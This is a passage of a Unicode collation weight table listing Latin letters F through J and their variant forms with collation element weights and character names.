[.1C69.0020.0002] # LATIN SMALL LETTER F WITH HOOK +0191 ; [.1C69.0020.0008] # LATIN CAPITAL LETTER F WITH HOOK +214E ; [.1C6D.0020.0002] # TURNED SMALL F +2132 ; [.1C6D.0020.0008] # TURNED CAPITAL F +A7FB ; [.1C6E.0020.0002] # LATIN EPIGRAPHIC LETTER REVERSED F +0067 ; [.1C6F.0020.0002] # LATIN SMALL LETTER G +FF47 ; [.1C6F.0020.0003] # FULLWIDTH LATIN SMALL LETTER G +1DDA ; [.1C6F.0020.0004] # COMBINING LATIN SMALL LETTER G +24A2 ; [*0310.0020.0004][.1C6F.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER G +210A ; [.1C6F.0020.0005] # SCRIPT SMALL G +1D420 ; [.1C6F.0020.0005] # MATHEMATICAL BOLD SMALL G +1D454 ; [.1C6F.0020.0005] # MATHEMATICAL ITALIC SMALL G +1D488 ; [.1C6F.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL G +1D4F0 ; [.1C6F.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL G +1D524 ; [.1C6F.0020.0005] # MATHEMATICAL FRAKTUR SMALL G +1D558 ; [.1C6F.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL G +1D58C ; [.1C6F.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL G +1D5C0 ; [.1C6F.0020.0005] # MATHEMATICAL SANS-SERIF SMALL G +1D5F4 ; [.1C6F.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL G +1D628 ; [.1C6F.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL G +1D65C ; [.1C6F.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL G +1D690 ; [.1C6F.0020.0005] # MATHEMATICAL MONOSPACE SMALL G +24D6 ; [.1C6F.0020.0006] # CIRCLED LATIN SMALL LETTER G +0047 ; [.1C6F.0020.0008] # LATIN CAPITAL LETTER G +FF27 ; [.1C6F.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER G +1F116 ; [*0310.0020.0004][.1C6F.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER G +1D406 ; [.1C6F.0020.000B] # MATHEMATICAL BOLD CAPITAL G +1D43A ; [.1C6F.0020.000B] # MATHEMATICAL ITALIC CAPITAL G +1D46E ; [.1C6F.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL G +1D4A2 ; [.1C6F.0020.000B] # MATHEMATICAL SCRIPT CAPITAL G +1D4D6 ; [.1C6F.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL G +1D50A ; [.1C6F.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL G +1D53E ; [.1C6F.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL G +1D572 ; [.1C6F.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL G +1D5A6 ; [.1C6F.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL G +1D5DA ; [.1C6F.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL G +1D60E ; [.1C6F.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL G +1D642 ; [.1C6F.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL G +1D676 ; [.1C6F.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL G +24BC ; [.1C6F.0020.000C] # CIRCLED LATIN CAPITAL LETTER G +1F156 ; [.1C6F.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER G +1D4D ; [.1C6F.0020.0014] # MODIFIER LETTER SMALL G +1D33 ; [.1C6F.0020.001D] # MODIFIER LETTER CAPITAL G +1F136 ; [.1C6F.0020.001D] # SQUARED LATIN CAPITAL LETTER G +1F176 ; [.1C6F.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER G +01F5 ; [.1C6F.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER G WITH ACUTE +01F4 ; [.1C6F.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER G WITH ACUTE +011F ; [.1C6F.0020.0002][.0000.0026.0002] # LATIN SMALL LETTER G WITH BREVE +011E ; [.1C6F.0020.0008][.0000.0026.0002] # LATIN CAPITAL LETTER G WITH BREVE +011D ; [.1C6F.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER G WITH CIRCUMFLEX +011C ; [.1C6F.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER G WITH CIRCUMFLEX +01E7 ; [.1C6F.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER G WITH CARON +01E6 ; [.1C6F.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER G WITH CARON +0121 ; [.1C6F.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER G WITH DOT ABOVE +0120 ; [.1C6F.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER G WITH DOT ABOVE +0123 ; [.1C6F.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER G WITH CEDILLA +0122 ; [.1C6F.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER G WITH CEDILLA +1E21 ; [.1C6F.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER G WITH MACRON +1E20 ; [.1C6F.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER G WITH MACRON +A7A1 ; [.1C6F.0020.0004][.0000.0035.0004] # LATIN SMALL LETTER G WITH OBLIQUE STROKE +A7A0 ; [.1C6F.0020.000A][.0000.0035.0004] # LATIN CAPITAL LETTER G WITH OBLIQUE STROKE +1D79 ; [.1C6F.0020.0004][.0000.010C.0004] # LATIN SMALL LETTER INSULAR G +A77D ; [.1C6F.0020.000A][.0000.010C.0004] # LATIN CAPITAL LETTER INSULAR G +33FF ; [.1C6F.0020.001C][.1BC2.0020.001C][.1CF2.0020.001C] # SQUARE GAL +3387 ; [.1C6F.0020.001D][.1BDB.0020.001D] # SQUARE GB +3393 ; [.1C6F.0020.001D][.1C93.0020.001D][.1E9C.0020.001C] # SQUARE GHZ +33AC ; [.1C6F.0020.001D][.1D87.0020.001D][.1BC2.0020.001C] # SQUARE GPA +33C9 ; [.1C6F.0020.001D][.1E86.0020.001C] # SQUARE GY +0261 ; [.1C73.0020.0002] # LATIN SMALL LETTER SCRIPT G +A7AC ; [.1C73.0020.0008] # LATIN CAPITAL LETTER SCRIPT G +1DA2 ; [.1C73.0020.0014] # MODIFIER LETTER SMALL SCRIPT G +AB36 ; [.1C77.0020.0002] # LATIN SMALL LETTER SCRIPT G WITH CROSSED-TAIL +0262 ; [.1C78.0020.0002] # LATIN LETTER SMALL CAPITAL G +1DDB ; [.1C78.0020.0004] # COMBINING LATIN LETTER SMALL CAPITAL G +01E5 ; [.1C7C.0020.0002] # LATIN SMALL LETTER G WITH STROKE +01E4 ; [.1C7C.0020.0008] # LATIN CAPITAL LETTER G WITH STROKE +1D83 ; [.1C80.0020.0002] # LATIN SMALL LETTER G WITH PALATAL HOOK +0260 ; [.1C81.0020.0002] # LATIN SMALL LETTER G WITH HOOK +0193 ; [.1C81.0020.0008] # LATIN CAPITAL LETTER G WITH HOOK +029B ; [.1C85.0020.0002] # LATIN LETTER SMALL CAPITAL G WITH HOOK +1D77 ; [.1C89.0020.0002] # LATIN SMALL LETTER TURNED G +A77F ; [.1C8A.0020.0002] # LATIN SMALL LETTER TURNED INSULAR G +A77E ; [.1C8A.0020.0008] # LATIN CAPITAL LETTER TURNED INSULAR G +0263 ; [.1C8B.0020.0002] # LATIN SMALL LETTER GAMMA +0194 ; [.1C8B.0020.0008] # LATIN CAPITAL LETTER GAMMA +02E0 ; [.1C8B.0020.0014] # MODIFIER LETTER SMALL GAMMA +01A3 ; [.1C8F.0020.0002] # LATIN SMALL LETTER OI +01A2 ; [.1C8F.0020.0008] # LATIN CAPITAL LETTER OI +0068 ; [.1C93.0020.0002] # LATIN SMALL LETTER H +FF48 ; [.1C93.0020.0003] # FULLWIDTH LATIN SMALL LETTER H +036A ; [.1C93.0020.0004] # COMBINING LATIN SMALL LETTER H +24A3 ; [*0310.0020.0004][.1C93.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER H +210E ; [.1C93.0020.0005] # PLANCK CONSTANT +1D421 ; [.1C93.0020.0005] # MATHEMATICAL BOLD SMALL H +1D489 ; [.1C93.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL H +1D4BD ; [.1C93.0020.0005] # MATHEMATICAL SCRIPT SMALL H +1D4F1 ; [.1C93.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL H +1D525 ; [.1C93.0020.0005] # MATHEMATICAL FRAKTUR SMALL H +1D559 ; [.1C93.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL H +1D58D ; [.1C93.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL H +1D5C1 ; [.1C93.0020.0005] # MATHEMATICAL SANS-SERIF SMALL H +1D5F5 ; [.1C93.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL H +1D629 ; [.1C93.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL H +1D65D ; [.1C93.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL H +1D691 ; [.1C93.0020.0005] # MATHEMATICAL MONOSPACE SMALL H +24D7 ; [.1C93.0020.0006] # CIRCLED LATIN SMALL LETTER H +0048 ; [.1C93.0020.0008] # LATIN CAPITAL LETTER H +FF28 ; [.1C93.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER H +1F117 ; [*0310.0020.0004][.1C93.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER H +210B ; [.1C93.0020.000B] # SCRIPT CAPITAL H +210C ; [.1C93.0020.000B] # BLACK-LETTER CAPITAL H +210D ; [.1C93.0020.000B] # DOUBLE-STRUCK CAPITAL H +1D407 ; [.1C93.0020.000B] # MATHEMATICAL BOLD CAPITAL H +1D43B ; [.1C93.0020.000B] # MATHEMATICAL ITALIC CAPITAL H +1D46F ; [.1C93.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL H +1D4D7 ; [.1C93.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL H +1D573 ; [.1C93.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL H +1D5A7 ; [.1C93.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL H +1D5DB ; [.1C93.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL H +1D60F ; [.1C93.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL H +1D643 ; [.1C93.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL H +1D677 ; [.1C93.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL H +24BD ; [.1C93.0020.000C] # CIRCLED LATIN CAPITAL LETTER H +1F157 ; [.1C93.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER H +02B0 ; [.1C93.0020.0014] # MODIFIER LETTER SMALL H +2095 ; [.1C93.0020.0015] # LATIN SUBSCRIPT SMALL LETTER H +1D34 ; [.1C93.0020.001D] # MODIFIER LETTER CAPITAL H +1F137 ; [.1C93.0020.001D] # SQUARED LATIN CAPITAL LETTER H +1F177 ; [.1C93.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER H +0125 ; [.1C93.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER H WITH CIRCUMFLEX +0124 ; [.1C93.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER H WITH CIRCUMFLEX +021F ; [.1C93.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER H WITH CARON +021E ; [.1C93.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER H WITH CARON +1E27 ; [.1C93.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER H WITH DIAERESIS +1E26 ; [.1C93.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER H WITH DIAERESIS +1E23 ; [.1C93.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER H WITH DOT ABOVE +1E22 ; [.1C93.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER H WITH DOT ABOVE +1E29 ; [.1C93.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER H WITH CEDILLA +1E28 ; [.1C93.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER H WITH CEDILLA +0127 ; [.1C93.0020.0002][.0000.0039.0002] # LATIN SMALL LETTER H WITH STROKE +210F ; [.1C93.0020.0002][.0000.0039.0002] # PLANCK CONSTANT OVER TWO PI +0126 ; [.1C93.0020.0008][.0000.0039.0002] # LATIN CAPITAL LETTER H WITH STROKE +A7F8 ; [.1C93.0020.0014][.0000.0039.0014] # MODIFIER LETTER CAPITAL H WITH STROKE +1E25 ; [.1C93.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER H WITH DOT BELOW +1E24 ; [.1C93.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER H WITH DOT BELOW +1E2B ; [.1C93.0020.0002][.0000.0047.0002] # LATIN SMALL LETTER H WITH BREVE BELOW +1E2A ; [.1C93.0020.0008][.0000.0047.0002] # LATIN CAPITAL LETTER H WITH BREVE BELOW +1E96 ; [.1C93.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER H WITH LINE BELOW +33CA ; [.1C93.0020.001C][.1BC2.0020.001C] # SQUARE HA +32CC ; [.1C93.0020.001D][.1C6F.0020.001C] # SQUARE HG +33CB ; [.1C93.0020.001D][.1D87.0020.001D] # SQUARE HP +3371 ; [.1C93.0020.001C][.1D87.0020.001D][.1BC2.0020.001C] # SQUARE HPA +1F14A ; [.1C93.0020.001D][.1E5E.0020.001D] # SQUARED HV +3390 ; [.1C93.0020.001D][.1E9C.0020.001C] # SQUARE HZ +029C ; [.1C97.0020.0002] # LATIN LETTER SMALL CAPITAL H +0195 ; [.1C9B.0020.0002] # LATIN SMALL LETTER HV +01F6 ; [.1C9B.0020.0008] # LATIN CAPITAL LETTER HWAIR +A795 ; [.1C9F.0020.0002] # LATIN SMALL LETTER H WITH PALATAL HOOK +0266 ; [.1CA0.0020.0002] # LATIN SMALL LETTER H WITH HOOK +A7AA ; [.1CA0.0020.0008] # LATIN CAPITAL LETTER H WITH HOOK +02B1 ; [.1CA0.0020.0014] # MODIFIER LETTER SMALL H WITH HOOK +2C68 ; [.1CA4.0020.0002] # LATIN SMALL LETTER H WITH DESCENDER +2C67 ; [.1CA4.0020.0008] # LATIN CAPITAL LETTER H WITH DESCENDER +2C76 ; [.1CA5.0020.0002] # LATIN SMALL LETTER HALF H +2C75 ; [.1CA5.0020.0008] # LATIN CAPITAL LETTER HALF H +A727 ; [.1CA6.0020.0002] # LATIN SMALL LETTER HENG +A726 ; [.1CA6.0020.0008] # LATIN CAPITAL LETTER HENG +AB5C ; [.1CA6.0020.0014] # MODIFIER LETTER SMALL HENG +0267 ; [.1CA7.0020.0002] # LATIN SMALL LETTER HENG WITH HOOK +02BB ; [.1CAB.0020.0002] # MODIFIER LETTER TURNED COMMA +02BD ; [.1CAC.0020.0002] # MODIFIER LETTER REVERSED COMMA +0069 ; [.1CAD.0020.0002] # LATIN SMALL LETTER I +FF49 ; [.1CAD.0020.0003] # FULLWIDTH LATIN SMALL LETTER I +0365 ; [.1CAD.0020.0004] # COMBINING LATIN SMALL LETTER I +2170 ; [.1CAD.0020.0004] # SMALL ROMAN NUMERAL ONE +24A4 ; [*0310.0020.0004][.1CAD.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER I +2139 ; [.1CAD.0020.0005] # INFORMATION SOURCE +2148 ; [.1CAD.0020.0005] # DOUBLE-STRUCK ITALIC SMALL I +1D422 ; [.1CAD.0020.0005] # MATHEMATICAL BOLD SMALL I +1D456 ; [.1CAD.0020.0005] # MATHEMATICAL ITALIC SMALL I +1D48A ; [.1CAD.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL I +1D4BE ; [.1CAD.0020.0005] # MATHEMATICAL SCRIPT SMALL I +1D4F2 ; [.1CAD.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL I +1D526 ; [.1CAD.0020.0005] # MATHEMATICAL FRAKTUR SMALL I +1D55A ; [.1CAD.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL I +1D58E ; [.1CAD.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL I +1D5C2 ; [.1CAD.0020.0005] # MATHEMATICAL SANS-SERIF SMALL I +1D5F6 ; [.1CAD.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL I +1D62A ; [.1CAD.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL I +1D65E ; [.1CAD.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL I +1D692 ; [.1CAD.0020.0005] # MATHEMATICAL MONOSPACE SMALL I +24D8 ; [.1CAD.0020.0006] # CIRCLED LATIN SMALL LETTER I +0049 ; [.1CAD.0020.0008] # LATIN CAPITAL LETTER I +FF29 ; [.1CAD.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER I +2160 ; [.1CAD.0020.000A] # ROMAN NUMERAL ONE +1F118 ; [*0310.0020.0004][.1CAD.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER I +2110 ; [.1CAD.0020.000B] # SCRIPT CAPITAL I +2111 ; [.1CAD.0020.000B] # BLACK-LETTER CAPITAL I +1D408 ; [.1CAD.0020.000B] # MATHEMATICAL BOLD CAPITAL I +1D43C ; [.1CAD.0020.000B] # MATHEMATICAL ITALIC CAPITAL I +1D470 ; [.1CAD.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL I +1D4D8 ; [.1CAD.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL I +1D540 ; [.1CAD.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL I +1D574 ; [.1CAD.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL I +1D5A8 ; [.1CAD.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL I +1D5DC ; [.1CAD.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL I +1D610 ; [.1CAD.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL I +1D644 ; [.1CAD.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL I +1D678 ; [.1CAD.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL I +24BE ; [.1CAD.0020.000C] # CIRCLED LATIN CAPITAL LETTER I +1F158 ; [.1CAD.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER I +2071 ; [.1CAD.0020.0014] # SUPERSCRIPT LATIN SMALL LETTER I +1D62 ; [.1CAD.0020.0015] # LATIN SUBSCRIPT SMALL LETTER I +1D35 ; [.1CAD.0020.001D] # MODIFIER LETTER CAPITAL I +1F138 ; [.1CAD.0020.001D] # SQUARED LATIN CAPITAL LETTER I +1F178 ; [.1CAD.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER I +00ED ; [.1CAD.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER I WITH ACUTE +00CD ; [.1CAD.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER I WITH ACUTE +00EC ; [.1CAD.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER I WITH GRAVE +00CC ; [.1CAD.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER I WITH GRAVE +012D ; [.1CAD.0020.0002][.0000.0026.0002] # LATIN SMALL LETTER I WITH BREVE +012C ; [.1CAD.0020.0008][.0000.0026.0002] # LATIN CAPITAL LETTER I WITH BREVE +00EE ; [.1CAD.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER I WITH CIRCUMFLEX +00CE ; [.1CAD.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER I WITH CIRCUMFLEX +01D0 ; [.1CAD.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER I WITH CARON +01CF ; [.1CAD.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER I WITH CARON +00EF ; [.1CAD.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER I WITH DIAERESIS +00CF ; [.1CAD.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER I WITH DIAERESIS +1E2F ; [.1CAD.0020.0002][.0000.002B.0002][.0000.0024.0002] # LATIN SMALL LETTER I WITH DIAERESIS AND ACUTE +1E2E ; [.1CAD.0020.0008][.0000.002B.0002][.0000.0024.0002] # LATIN CAPITAL LETTER I WITH DIAERESIS AND ACUTE +0129 ; [.1CAD.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER I WITH TILDE +0128 ; [.1CAD.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER I WITH TILDE +0130 ; [.1CAD.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER I WITH DOT ABOVE +012F ; [.1CAD.0020.0002][.0000.0031.0002] # LATIN SMALL LETTER I WITH OGONEK +012E ; [.1CAD.0020.0008][.0000.0031.0002] # LATIN CAPITAL LETTER I WITH OGONEK +012B ; [.1CAD.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER I WITH MACRON +012A ; [.1CAD.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER I WITH MACRON +1EC9 ; [.1CAD.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER I WITH HOOK ABOVE +1EC8 ; [.1CAD.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER I WITH HOOK ABOVE +0209 ; [.1CAD.0020.0002][.0000.003C.0002] # LATIN SMALL LETTER I WITH DOUBLE GRAVE +0208 ; [.1CAD.0020.0008][.0000.003C.0002] # LATIN CAPITAL LETTER I WITH DOUBLE GRAVE +020B ; [.1CAD.0020.0002][.0000.003E.0002] # LATIN SMALL LETTER I WITH INVERTED BREVE +020A ; [.1CAD.0020.0008][.0000.003E.0002] # LATIN CAPITAL LETTER I WITH INVERTED BREVE +1ECB ; [.1CAD.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER I WITH DOT BELOW +1ECA ; [.1CAD.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER I WITH DOT BELOW +1E2D ; [.1CAD.0020.0002][.0000.0048.0002] # LATIN SMALL LETTER I WITH TILDE BELOW +1E2C ; [.1CAD.0020.0008][.0000.0048.0002] # LATIN CAPITAL LETTER I WITH TILDE BELOW +1F18B ; [.1CAD.0020.001D][.1BF5.0020.001D] # NEGATIVE SQUARED IC +1F194 ; [.1CAD.0020.001D][.1C0A.0020.001D] # SQUARED ID +2171 ; [.1CAD.0020.0004][.1CAD.0020.0004] # SMALL ROMAN NUMERAL TWO +2161 ; [.1CAD.0020.000A][.1CAD.0020.000A] # ROMAN NUMERAL TWO +2172 ; [.1CAD.0020.0004][.1CAD.0020.0004][.1CAD.0020.0004] # SMALL ROMAN NUMERAL THREE +2162 ; [.1CAD.0020.000A][.1CAD.0020.000A][.1CAD.0020.000A] # ROMAN NUMERAL THREE +0133 ; [.1CAD.0020.0004][.1CC7.0020.0004] # LATIN SMALL LIGATURE IJ +0132 ; [.1CAD.0020.000A][.1CC7.0020.000A] # LATIN CAPITAL LIGATURE IJ +33CC ; [.1CAD.0020.001C][.1D34.0020.001C] # SQUARE IN +337A ; [.1CAD.0020.001D][.1E30.0020.001D] # SQUARE IU +2173 ; [.1CAD.0020.0004][.1E5E.0020.0004] # SMALL ROMAN NUMERAL FOUR +2163 ; [.1CAD.0020.000A][.1E5E.0020.000A] # ROMAN NUMERAL FOUR +2178 ; [.1CAD.0020.0004][.1E7A.0020.0004] # SMALL ROMAN NUMERAL NINE +2168 ; [.1CAD.0020.000A][.1E7A.0020.000A] # ROMAN NUMERAL NINE +0131 ; [.1CB1.0020.0002] # LATIN SMALL LETTER DOTLESS I +1D6A4 ; [.1CB1.0020.0005] # MATHEMATICAL ITALIC SMALL DOTLESS I +026A ; [.1CB5.0020.0002] # LATIN LETTER SMALL CAPITAL I +1DA6 ; [.1CB5.0020.0014] # MODIFIER LETTER SMALL CAPITAL I +A7FE ; [.1CB9.0020.0002] # LATIN EPIGRAPHIC LETTER I LONGA +A7F7 ; [.1CBA.0020.0002] # LATIN EPIGRAPHIC LETTER SIDEWAYS I +1D09 ; [.1CBB.0020.0002] # LATIN SMALL LETTER TURNED I +1D4E ; [.1CBB.0020.0014] # MODIFIER LETTER SMALL TURNED I +0268 ; [.1CBC.0020.0002] # LATIN SMALL LETTER I WITH STROKE +0197 ; [.1CBC.0020.0008] # LATIN CAPITAL LETTER I WITH STROKE +1DA4 ; [.1CBC.0020.0014] # MODIFIER LETTER SMALL I WITH STROKE +1D7B ; [.1CC0.0020.0002] # LATIN SMALL CAPITAL LETTER I WITH STROKE +1DA7 ; [.1CC0.0020.0014] # MODIFIER LETTER SMALL CAPITAL I WITH STROKE +1D96 ; [.1CC1.0020.0002] # LATIN SMALL LETTER I WITH RETROFLEX HOOK +0269 ; [.1CC2.0020.0002] # LATIN SMALL LETTER IOTA +0196 ; [.1CC2.0020.0008] # LATIN CAPITAL LETTER IOTA +1DA5 ; [.1CC2.0020.0014] # MODIFIER LETTER SMALL IOTA +1D7C ; [.1CC6.0020.0002] # LATIN SMALL LETTER IOTA WITH STROKE +006A ; [.1CC7.0020.0002] # LATIN SMALL LETTER J +FF4A ; [.1CC7.0020.0003] # FULLWIDTH LATIN SMALL LETTER J +24A5 ; [*0310.0020.0004][.1CC7.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER J +2149 ; [.1CC7.0020.0005] # DOUBLE-STRUCK ITALIC SMALL J +1D423 ; [.1CC7.0020.0005] # MATHEMATICAL BOLD SMALL J +1D457 ; [.1CC7.0020.0005] # MATHEMATICAL ITALIC SMALL J +1D48B ; [.1CC7.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL J +1D4BF ; [.1CC7.0020.0005] # MATHEMATICAL SCRIPT SMALL J +1D4F3 ; [.1CC7.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL J +1D527 ; [.1CC7.0020.0005] # MATHEMATICAL FRAKTUR SMALL J +1D55B ; [.1CC7.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL J +1D58F ; [.1CC7.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL J +1D5C3 ; [.1CC7.0020.0005] # MATHEMATICAL SANS-SERIF SMALL J +1D5F7 ; [.1CC7.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL J +1D62B ; [.1CC7.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL J +1D65F ; [.1CC7.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL J +1D693 ; [.1CC7.0020.0005] # MATHEMATICAL MONOSPACE SMALL J +24D9 ; [.1CC7.0020.0006] # CIRCLED LATIN SMALL LETTER J +004A ; [.1CC7.0020.0008] # LATIN CAPITAL LETTER J +FF2A ; [.1CC7.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER J +1F119 ; [*0310.0020.0004][.1CC7.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER J +1D409 ; [.1CC7.0020.000B] # MATHEMATICAL BOLD CAPITAL J +1D43D ; [.1CC7.0020.000B] # MATHEMATICAL ITALIC CAPITAL J +1D471 ; [.1CC7.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL J +1D4A5 ; [.1CC7.0020.000B] # MATHEMATICAL SCRIPT CAPITAL J +1D4D9 ; [.1CC7.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL J +1D50D ; [.1CC7.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL J +1D541 ; [.1CC7.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL J +1D575 ; [.1CC7.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL J +1D5A9 ; [.1CC7.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL J +1D5DD ; [.1CC7.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL J +1D611 ; [.1CC7.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL J +1D645 ; [.1CC7.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL J +1D679 ; [.1CC7.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL J +24BF ; [.1CC7.0020.000C] # CIRCLED LATIN CAPITAL LETTER J +1F159 ; [.1CC7.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER J +02B2 ; [.1CC7.0020.0014] # MODIFIER LETTER SMALL J +2C7C ; [.1CC7.0020.0015] # LATIN SUBSCRIPT SMALL LETTER J +1D36 ; [.1CC7.0020.001D] # MODIFIER LETTER CAPITAL J +1F139 ; [.1CC7.0020.001D] # SQUARED LATIN CAPITAL LETTER J +1F179 ; [.1CC7.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER J +0135 ; [.1CC7.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER J WITH CIRCUMFLEX +0134 ; [.1CC7.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER J WITH CIRCUMFLEX +01F0 ; [.1CC7.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER J WITH CARON +0237 ; [.1CCB.0020.0002] # LATIN SMALL LETTER DOTLESS J +1D6A5 ; [.1CCB.0020.0005] # MATHEMATICAL ITALIC SMALL DOTLESS J +1D0A ; [.1CCF.0020.0002] # LATIN LETTER SMALL CAPITAL J +0249 ; [.1CD0.0020.0002] # LATIN SMALL LETTER J WITH STROKE +0248 ; [.1CD0.0020.0008] # LATIN CAPITAL 